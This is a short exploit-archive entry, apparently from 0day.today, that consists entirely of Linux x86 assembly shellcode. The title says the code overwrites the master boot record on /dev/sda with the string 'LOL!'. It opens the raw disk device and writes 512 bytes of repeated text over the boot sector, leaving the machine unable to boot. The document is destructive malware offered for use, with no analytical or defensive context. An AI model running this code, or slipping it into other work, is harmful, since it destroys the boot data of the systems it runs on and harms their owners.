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linux/x86 overwrite MBR on /dev/sda with `LOL!` 43 bytes
[========================================================
linux/x86 overwrite MBR on /dev/sda with `LOL!` 43 bytes
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; linux/x86 overwrite MBR on /dev/sda with `LOL!` 43 bytes
section .text
global _start
_start:
; open("/dev/sda", O_WRONLY);
mov al, 5
xor ecx, ecx
push ecx
push dword 0x6164732f
push dword 0x7665642f
mov ebx, esp
inc ecx
int 0x80
; write(fd, "LOL!"x128, 512);
mov ebx, eax
mov al, 4
cdq
push edx
mov cl, 128
fill:
push dword 0x214c4f4c
loop fill
mov ecx, esp
inc edx
shl edx, 9
int 0x80
# 0day.today [2024-11-16] #